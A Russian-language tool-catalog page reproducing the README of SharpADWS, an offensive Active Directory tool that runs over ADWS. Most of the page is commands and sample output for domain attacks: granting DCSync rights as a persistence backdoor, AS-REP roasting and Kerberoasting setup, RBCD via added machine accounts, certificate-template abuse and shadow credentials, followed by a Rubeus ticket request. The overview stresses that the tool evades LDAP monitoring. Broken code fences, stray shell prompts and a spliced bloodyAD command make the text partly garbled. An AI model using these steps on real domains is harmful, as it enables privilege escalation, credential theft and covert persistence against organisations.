Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SharpADWS — Разведка Active Directory и эксплуатация для Red Teams через службы Active Directory Web Services (ADWS). | Kitploit
Инструменты/GitHubGitHub/wh0amitz/sharpadws
Повышение привилегийРазведкаМеханизмы персистентностиЭксплуатацияЛатеральное перемещениеПост-эксплуатацияТестирование на ПроникновениеАутентификацияRed Teaming
GitHubwh0amitz/sharpadws

SharpADWS

Разведка Active Directory и эксплуатация для Red Teams через службы Active Directory Web Services (ADWS).

602592 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

SharpADWS

中文文档

Разведка и эксплуатация Active Directory для красных команд через веб-службы Active Directory (ADWS).

Обзор

SharpADWS — это инструмент разведки и эксплуатации Active Directory для красных команд, который собирает и изменяет данные Active Directory через протокол веб-служб Active Directory (ADWS).

Обычно перечисление или манипуляция Active Directory происходит через протокол LDAP. SharpADWS позволяет извлекать или изменять данные Active Directory без прямого взаимодействия с сервером LDAP. В рамках ADWS запросы LDAP упаковываются в серию сообщений SOAP, а затем отправляются на сервер ADWS по зашифрованному каналу NET TCP Binding. Затем сервер ADWS локально распаковывает запрос LDAP и пересылает его на сервер LDAP, работающий на том же контроллере домена.

Веб-службы Active Directory (ADWS) автоматически включаются при установке служб доменов Active Directory (ADDS), что делает SharpADWS универсальным для всех сред домена.

Хороший момент

Одним из главных преимуществ использования ADWS для постэксплуатации LDAP является то, что этот механизм относительно неизвестен, и поскольку трафик LDAP не передается по сети, его трудно обнаружить обычными средствами мониторинга. ADWS работает как совершенно иная служба, отличная от LDAP, доступна на TCP-порту 9389 и использует протокол SOAP в качестве интерфейса.

В ходе исследования ADWS мы заметили, что, поскольку это веб-служба SOAP, фактическое выполнение запроса LDAP происходит локально на контроллере домена. Это даёт ряд интересных побочных эффектов, которые оказываются полезными. Например, при анализе запросов LDAP на контроллере домена можно заметить, что запросы исходят из журналов 127.0.0.1, которые во многих случаях будут проигнорированы.

Второстепенное преимущество заключается в том, что такая активность не отображается в DeviceEvents с типом действия LDAPSearch, что означает наличие очень малого количества телеметрических данных.

Реализация протокола

SharpADWS реализует протоколы MS-ADDM, MS-WSTIM и MS-WSDS; используя исходный код этого проекта, вы можете легко выполнять следующие операции с веб-службами Active Directory:

  • Enumerate: Создаёт контекст, соответствующий указанному фильтру поискового запроса.
  • Pull: Извлекает объект результата в контексте конкретного перечисления.
  • Renew: Обновляет время истечения указанного контекста перечисления.
  • GetStatus: Получает время истечения указанного контекста перечисления.
  • Release: Освобождает указанный контекст перечисления.
  • Delete: Удаляет существующие объекты.
  • Get: Извлекает одно или несколько свойств объекта.
  • Put: Изменяет содержимое одного или нескольких свойств объекта.
    • Add: Добавляет указанное значение свойства в набор значений указанного свойства или создаёт свойство, если оно ещё не существует на целевом объекте.
    • Replace: Заменяет набор значений указанного свойства значениями, заданными в операции, или создаёт свойство, если оно ещё не существует на целевом объекте. Если в операции не указано ни одного значения, все значения текущего указанного атрибута будут удалены.
    • Delete: Удаляет указанное значение атрибута из указанного атрибута. Если значение не указано, будут удалены все значения. Если указанное свойство не существует на целевом объекте, запрос PUT завершается ошибкой.
  • Create: Создаёт новый объект.

Использование

Аргумент командной строки -h можно использовать для отображения следующей информации об использовании:```cmd C:\Users\Marcus>SharpADWS.exe -h

SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top)

-h Display this help screen

Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection

Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain

Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects

DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account

DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account

Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account

AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer

RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action

Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action

Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account

FindDelegation options: No options, just run!

root@kitploit:~
### Cache

Когда SharpADWS перечисляет ACL, чтобы не выполнять дополнительные запросы ADWS для каждого неизвестного объекта доверенного лица, необходимо заранее создать полный кеш всех объектов учетных записей с помощью метода cache и сохранить его в файл, тем самым избегая большого количества (ненужного) трафика. Кеш содержит сопоставление имени каждого объекта учетной записи в текущем домене с его objectSid.```cmd
C:\Users\Marcus>SharpADWS.exe Cache

[*] Cache file has been generated: object.cache

Acl

Метод Acl может перечислить DACL объекта, указав -dn, и поддерживает фильтрацию перечисленного DACL через параметры -trustee, -right и -rid. Например, мы хотим перечислить все объекты контроллера домена и отфильтровать DACL, доверенное лицо которого — Marcus, следующим образом:```cmd C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus

Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False

root@kitploit:~
В качестве другого примера мы хотим перечислить все объекты User и отфильтровать DACL с разрешениями GenericWrite и RID доверенного лица больше 1000, как показано ниже:```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000

 Severity              : Critical
 ObjectDN              : CN=Bob,CN=Users,DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
 ObjectType            : All
 Trustee               : Marcus
 IsInherited           : False

Кроме того, метод Acl также поддерживает перечисление конкретных объектов:```cmd SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects

root@kitploit:~
**Следует отметить, что использование метода Acl Method должно полагаться на кэш отображения, установленный через метод Cache.**

### DCSync

Действие `list` метода DCSync может запрашивать все учетные записи, которым были предоставлены разрешения DS-Replication-Get-Changes, DS-Replication-Get-Changes-All и DS-Replication-Get-Changes-In-Filtered-Set, как показано ниже:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action list

 Severity              : Info
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Administrators
 IsInherited           : False

 Severity              : Info
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Domain Controllers
 IsInherited           : False

 Severity              : Critical
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Alice
 IsInherited           : False
 

Следует отметить, что действие list метода DCSync должно полагаться на кеш сопоставления, который был установлен с помощью метода Cache.

Кроме того, при наличии достаточных разрешений вы можете предоставить учетной записи разрешения DCSync через write для создания бэкдора постоянного доступа к домену:```cmd C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus

[*] Account Marcus now has DCSync privieges on the domain.

root@kitploit:~
### DontReqPreAuth

Действие `list` метода DontReqPreAuth находит все учетные записи, у которых установлен параметр "Не требовать предварительной аутентификации Kerberos", как показано ниже:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list

[*] Found users that do not require kerberos preauthentication:
[*]     CN=Bob,CN=Users,DC=corp,DC=local
[*]     CN=Alice,CN=Users,DC=corp,DC=local
[*]     CN=John,CN=Users,DC=corp,DC=local

Кроме того, вы можете злоупотребить разрешениями WriteProperty для свойства userAccountControl целевой учетной записи, включив опцию "Do not require kerberos preauthentication" для этой учетной записи с помощью действия write для выполнения атаки AS-REP Roasting:

root@kitploit:~
bloodyAD --host 192.168.1.100 -d lab.local -u john.doe -p 'Password123!' set object <target_samaccountname> userAccountControl -v 'Do not require kerberos preauthentication'
``````cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator

[*] Set DontReqPreAuth for user Administrator successfully!

Kerberoastable

Действие list метода Kerberoastable может найти все учетные записи с настроенным SPN, как показано ниже:```cmd C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list

[] Found kerberoastable users: [] CN=krbtgt,CN=Users,DC=corp,DC=local [] kadmin/changepw [] CN=Bob,CN=Users,DC=corp,DC=local [] WWW/win-iisserver.corp.local/IIS [] TERMSERV/win-iisserver.corp.local [] CN=John,CN=Users,DC=corp,DC=local [] TERMSERV/WIN-SERVER2026

root@kitploit:~
Кроме того, вы можете злоупотребить разрешениями WriteProperty для свойства servicePrincipalName целевой учётной записи, чтобы выполнить атаку Kerberoasting, добавив SPN к этой учётной записи (только для учётных записей пользователей) с помощью действия `write`:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator

[*] Kerberoast user Administrator successfully!

AddComputer

Метод AddComputer позволяет создать новую учетную запись компьютера в пределах значения атрибута ms-DS-MachineAccountQuota, которое может быть использовано в последующих атаках RBCD.```cmd C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd

[*] Successfully added machine account PENTEST$ with password Passw0rd.

root@kitploit:~
### RBCD

Действие `read` метода RBCD может читать значение атрибута `msDS-AllowedToActOnBehalfOfOtherIdentity` указанного объекта учетной записи, чтобы проверить, у кого есть право делегировать ресурсы этой учетной записи, как показано ниже:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$

[*] Accounts allowed to act on behalf of other identity:
[*]     WIN-IISSERVER$    (S-1-5-21-1315326963-2851134370-1073178800-1106)
[*]     WIN-MSSQL$    (S-1-5-21-1315326963-2851134370-1073178800-1103)
[*]     WIN-PC8087$    (S-1-5-21-1315326963-2851134370-1073178800-1117)

Действие write метода RBCD позволяет записывать в свойство msDS-AllowedToActOnBehalfOfOtherIdentity объекта целевой учетной записи для атак на основе делегирования с ограниченными правами на основе ресурсов (Resource-Based Constrained Delegation). Как показано ниже, сначала мы создаем новую экстремальную учетную запись PENTEST$ с помощью метода AddComputer, а затем можем выполнить следующую команду для записи SID PENTEST$ в атрибут msDS-AllowedToActOnBehalfOfOtherIdentity объекта DC01$:```cmd C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$

[] Delegation rights modified successfully! [] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy [] Accounts allowed to act on behalf of other identity: [] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)

root@kitploit:~
Кроме того, SID, добавленный в действии `write`, может быть удален из атрибута `msDS-AllowedToActOnBehalfOfOtherIdentity` целевого объекта с помощью действия `remove`:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$

[*] Delegation rights modified successfully!
[*] Accounts allowed to act on behalf of other identity has been removed:
[*]     PENTEST$    (S-1-5-21-1315326963-2851134370-1073178800-1113)

Certify

Действие find метода Certify может перечислить данные в ADCS, включая все центры сертификации и шаблоны сертификатов, так же, как Certify:```cmd C:\Users\Marcus>SharpADWS.exe Certify -action find

[] Find CA and certificate templates [] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA'

root@kitploit:~
Enterprise CA Name              : corp-DC01-CA
DNS Name                        : DC01.corp.local
FullName                        : DC01.corp.local\corp-DC01-CA
Certificate Subject             : CN=corp-DC01-CA, DC=corp, DC=local
Certificate Serial Number       : 2D975C2D49AE4BB7432682E1708C8834
Certificate Validity Start      : 2/13/2024 5:55:36 PM
Certificate Validity End        : 2/13/2029 6:05:36 PM
CA Permissions                  :
     Enrollment Rights          :
                                : Authenticated Users
     Object Control Permissions :
         ManageCA               :
                                : Enterprise Admins
                                : DC01
                                : Domain Admins
         ManageCertificates     :
                                : Enterprise Admins
                                : DC01
         WriteDacl              :
                                : Enterprise Admins
                                : DC01
                                : Domain Admins
         WriteOwner             :
                                : Enterprise Admins
                                : DC01
                                : Domain Admins
         WriteProperty          :
                                : Enterprise Admins
                                : DC01
                                : Domain Admins

[*] Available Certificates Templates

root@kitploit:~
CA Name                         : CORP-DC01-CA
Template Name                   : User
Enabled                         : True
Client Authentication           : True
Enrollment Agent                : False
Any Purpose                     : False
Enrollee Supplies Subject       : False
pKIExtendedKeyUsage             : Encrypting File System  Secure Email  Client Authentication
msPKI-Certificate-Name-Flag     : SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag           : INCLUDE_SYMMETRIC_ALGORITHMS  PUBLISH_TO_DS  AUTO_ENROLLMENT
msPKI-Private-Key-Flag          : EXPORTABLE_KEY
CA Permissions                  :
     Enrollment Rights          :
                                : Domain Admins
                                : Domain Users
                                : Enterprise Admins
     Object Control Permissions :
         WriteDacl              :
                                : Domain Admins
                                : Enterprise Admins
         WriteOwner             :
                                : Domain Admins
                                : Enterprise Admins
         WriteProperty          :
                                : Domain Admins
                                : Enterprise Admins
                                : Domain Users

CA Name                         :
Template Name                   : UserSignature
Enabled                         : False
Client Authentication           : True
Enrollment Agent                : False
Any Purpose                     : False
Enrollee Supplies Subject       : False
pKIExtendedKeyUsage             : Secure Email  Client Authentication
msPKI-Certificate-Name-Flag     : SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag           : AUTO_ENROLLMENT
msPKI-Private-Key-Flag          : ATTEST_NONE
CA Permissions                  :
     Enrollment Rights          :
                                : Domain Admins
                                : Domain Users
                                : Enterprise Admins
     Object Control Permissions :
         WriteDacl              :
                                : Domain Admins
                                : Enterprise Admins
         WriteOwner             :
                                : Domain Admins
                                : Enterprise Admins
         WriteProperty          :
                                : Domain Admins
                                : Enterprise Admins
                                : Domain Users

...

root@kitploit:~
Кроме того, действие `find` поддерживает опции `-enrolleeSuppliesSubject` и `-clientAuth`, которые могут отфильтровать все шаблоны сертификатов, у которых включен флаг `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` и которые поддерживают аутентификацию клиента:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth

[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'

    # ...

[*] Available Certificates Templates

    CA Name                         : CORP-DC01-CA
    Template Name                   : User
    Enabled                         : True
    Client Authentication           : True
    Enrollment Agent                : False
    Any Purpose                     : False
    Enrollee Supplies Subject       : True
    pKIExtendedKeyUsage             : Encrypting File System  Secure Email  Client Authentication
    msPKI-Certificate-Name-Flag     : ENROLLEE_SUPPLIES_SUBJECT  SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
    msPkI-Enrollment-Flag           : INCLUDE_SYMMETRIC_ALGORITHMS  PUBLISH_TO_DS  AUTO_ENROLLMENT
    msPKI-Private-Key-Flag          : EXPORTABLE_KEY
    CA Permissions                  :
         Enrollment Rights          :
                                    : Domain Admins
                                    : Domain Users
                                    : Enterprise Admins
         Object Control Permissions :
             WriteDacl              :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteOwner             :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteProperty          :
                                    : Domain Admins
                                    : Enterprise Admins
                                    : Marcus
                                    : Domain Users
                                    
# ...

Следует отметить, что find метода Certify должен полагаться на кеш отображения, который был установлен с помощью метода Cache.

Действие modify метода Certify позволяет изменять свойства шаблона сертификата, такие как включение флага CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT или включение аутентификации клиента, если у вас есть права на запись целевого шаблона:```cmd C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth

[] Enable enrollee supplies subject for template User successfully! [] Enable client authentication for template User successfully!

root@kitploit:~
### Whisker

Метод Whisker позволяет выполнять жизненный цикл атаки ShadowCredentials, аналогично [Whisker](https://github.com/eladshamir/Whisker).

Действие `list` метода Whisker может выводить значение атрибута `msDS-KeyCredentialLink` целевой учетной записи:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$

[*] List deviced for DC01$:
[*]     DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596    Creation Time: 2/13/2024 7:43:49 PM
[*]     DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9    Creation Time: 2/13/2024 8:06:52 PM
[*]     DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd    Creation Time: 2/13/2024 8:01:50 PM

Метод add Whisker позволяет добавить ключ в свойство msDS-KeyCredentialLink целевой учетной записи для выполнения атаки ShadowCredentials, если у вас есть права на запись:```cmd C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd

[] Certificate generaged [] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2 [] Updated the msDS-KeyCredentialLink attribute successfully! [] You can now run Rubeus with the following syntax:

root@kitploit:~
  Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA
  aCCCXwEggl4MIIJdDCCBiUGCSqGSIb3DQEHAaCCBhYEggYSMIIGDjCCBgoGCyqGSIb3DQEMCgECoIIE/
  jCCBPowHAYKKoZIhvcNAQwBAzAOBAjQKx9W/RRiIgICB9AEggTYyQ1jkAw63J4ldeBGctrUhGFPLkIll
  NNTizR2Ah/RW+QS2PjWVqv1N2AgybObllM3qVD2xxVxTQpSNvFsHTmZMCVFg++uknPBA7nVriX2rcTPJ
  bB/K0DANikCdSDXq1ROgIMRx3mpHtCX2Med82O0OJKOhk+S/Zt3K3r3BloSXRJI0YWUitlP3LPFG9DeG
  p1Pox/BL+83NmL9x1hX8ztTPixUlLteNUA5etJzdH0z+yFbqozH7HE1HClYFTanhS0codWpc19QjamWj
  DpmOMthgQlf6V+4kiG9PVyCHB7vzFbEnUcprLIRmlPKZKTEp2swfSKj+TeknccuHePIAtASJav286POp
  VS6NtHWPOUzlwAbCZJh4DDMcla/dFKGDM7124eAp+5EW7uG+nSO7CgTISPZtXw2NtxpDhXcES6AX7k62
  8XFGgXE8RjVLMWGg02CctEFuawvICptI66e0FfetknAwkKNMlE6+gr/QrbubBzSYv4fxMxrYB4OU2bCv
  dxocOUjQsGcu7kt4fc6AmQLh7k912okoASyDRjHXABHv/Y6Q7+J1m84aI4BtbkaXmg0fE6pQtCxnGNEO
  YEYUfa+8JBvDfKhidxCb1S9QM0B+EONfJk8vu+7rMvxjvhdPMZoJPpVT0kaf2FnripAX4jQDaiaq/6Mq
  N5EKg23IujIlzDNIjHN1Ev8WWlL+LthfWe1m7F2Su3iaOgPMuqeX9VWpJcBUYjXgmn168aZ49vp5k6vG
  T09Z+s0Qfzba6k4r5LB23ChVvHeGqQ+9xfayXGxRr6862e3vPltPP9uhMBZypKeE3+mbZz9h6HnxFOBr
  PkbQytPaRbbNE52WVo8yDqmt4eZE05e/IPnnJDAf/AE25oX1RZbmjKsdHZZBhYkG5CbORbjBwt05Ukih
  uB3vfyIzEHeu4jKAc7cq4AJG48AOYjiOlx1BGCusg+6dT1Q0jF8EWqmqXKII/KI/M7FzgUpEMXcW30Y7
  1A/8dfMQkY0P1uWxZDuZsXY8j43coSlM8LaaHTZV3fQotdcs1d/dNKqfzUMwhUI6BKwOmGB7JC7nHxDH
  zrTlIb+3+Ywf0OgA5svyoGsf0MqsPDnfvkQF6uwlXywze4AiSwxnwTKSt/zR2L6YJY77zrJ7upDw5Iub
  Y9eLCvE4tZMrh3A6A+5Jiia7jh9ccEnwSMOMAZdGSiLjrY9xFF+z6UfB23YXHY455nD5z2XvGp6l51yz
  WXwpEoYW/nmuTCFf+HBSGrGn50juLIH1g2AeqRJW1TmgkYpsERaCpcPHllLtcz+tzD0Dvyv5gZl4pwDY
  xfC2O/HJyLE9sNBumGO5ApRW7qEtEO9IbWxzMNktlIQD2/cV9TsIhqLQzLtWFXzYvSxFOZxc9R4iu5uN
  /jUgi8JtamCO/NiXfHOY6r0rsvPfasN8mRwIEYQdlkFVDbuyEYRqBuHS1TLBOydNjcGXuv1TnAom5fZ7
  8e09tDLUGUkFalgoMb2fNepJnWTZsHH7yFHzcnio+TWLWDOyg8BP40VSgDf3dACuUrFt+FtsCjT+id62
  4rsYMq4Iguxfpdq426qUMXXi3GKO9dNA/B7x+ODc+skJISHDo30fn0mpSVZOUVChBKjoQ0wyFVkZ6FJU
  AhS6c2hPj8soQ6lTkmK+oSpHDGB+DANBgkrBgEEAYI3EQIxADATBgkqhkiG9w0BCRUxBgQEAQAAADBXB
  gkqhkiG9w0BCRQxSh5IADUAOAA1ADYANgA1ADYAZAAtADcANgA5ADAALQA0ADMAYwA4AC0AYQAyADAAO
  AAtADgAZQAxADkANwA2ADAAZQBjAGYAMAA3MHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmA
  HQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnA
  HIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIDRwYJKoZIhvcNAQcGoIIDODCCAzQCAQAwggMtB
  gkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBAzAOBAh4KKf9u1I+qQICB9CAggMAyhRUsnA7mW08Ch51ArmUf
  Ulv5WkLkjDmCl6HHBvDuqosXV86R8g612EJZxFv3mcJQn3E9yXIXSs0/OlmeYeFZTt3P3Qpt1Y5kxAcN
  BsqaXf8GFzqvXbN3lB31REAvCokN/uaLz/G+H7MhbhYX/co9C359ae81FBcT3FCjqaro9th48gsBcNLZ
  ZUroaYwaSB0CkEQbEMyqqZ6OdabYyEiIPy1BUbVFChpP/FaYffGZAIEPF+zy5jkUdmlzesm/E35HL7n2
  mtGTjO5ijQp0uCbE31BtlNL4oMfiQ7GNbszKWDrDLkaDv0FA6+NXucodf6/GRLlccDEjzgxp+yLBVbOX
  QkOf4gMnuca2uNwoLdvyMzZkuzg73KZyWqAVsaC4T6CnWNXDLJRZ81XY5Qy/VzgSu4wl1gx26xMPaNrp
  kF92BdDrRHFUk+88ynJFT3VfXT2ieGIXq/5NKwUvkgA6T8XCNskHpzzbGOG9DjAmdrhNFSds/arUfPmh
  7vwKcI4lIPQvx5WwUvlT/gUakCedpL61QWeO5Tm/x1VmVKJVfyqtkmk6AYy735iLhAegCgcnioQrhBe/
  4sMP66MKIA+/30RozW06AVHVcwNpaJHS3kk+NI0WoIkKMxjCsWzvd7glgRW0J6XlyCgMJxK012XbJbF0
  MPvb7dNCZvai1UgPtFDtnwCmjDyKwS4Y+cf3GtLfZVyujy2SZrnekCxgVMsSKCqr/4pyjO0ARxz8sziq
  M/zt/bB4yQP/iq2qjpXJfYf+im2unZoNM7jbcBDBemZ3OqL2/xrueLTNbTcHe2QJWP0yws9uVpI9lAuw
  SH6RQPOE+rl/12i3CYBPjrcf4xR5Ubee0uGCsravh7y5iMPmtkbA66ZcmIplh8aQWM2zuXJfAbhWHfSZ
  jqRyRDTqI6ZOxYsMVnHu+kTssrUsa6H/ogf546igZnaQB0pluNRbLAAqqVIvuou0cwZXK08R4IUXxEy8
  QWDYFXLLif4XSbkwmAkcFu93P22dnfCxrZVKgjVhKZCMDswHzAHBgUrDgMCGgQUaHvJNXYeqJdTEyPJp
  Sr3W7XTHO4EFJGjtSROCn2lG+TyUH4aVwdAj2DIAgIH0A== /password:"Passw0rd" /domain:cor
  p.local /getcredentials /show
root@kitploit:~
Кроме того, при действии `remove` вы можете указать `-device-id`, чтобы удалить указанный ключ из свойства `msDS-KeyCredentialLink` целевого объекта:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596

[*] Found value to remove
[*] msDS-KeyCredentialLink value has been removed:
[*]     DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596    Creation Time: 2/13/2024 7:43:49 PM

FindDelegation

Метод FindDelegation может перечислить все делегирующие связи в текущем домене. Этот метод не имеет лишних опций или параметров:```cmd C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation

AccountName AccountType DelegationType DelegationRightsTo


DC01$ Computer Unconstrained N/A PENTEST$ Computer Resource-Based Constrained DC01$ WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01 WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/CORP WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01/CORP WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/DomainDnsZones.corp.local WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/ForestDnsZones.corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01 WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/CORP WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01/CORP

root@kitploit:~
## Напоследок

Этот проект выполнен мной самостоятельно, и в нем неизбежно будут некоторые ошибки. Мы приветствуем, если вы будете сообщать об ошибках или предлагать новые идеи, чтобы совместно улучшить проект!
Скачать инструмент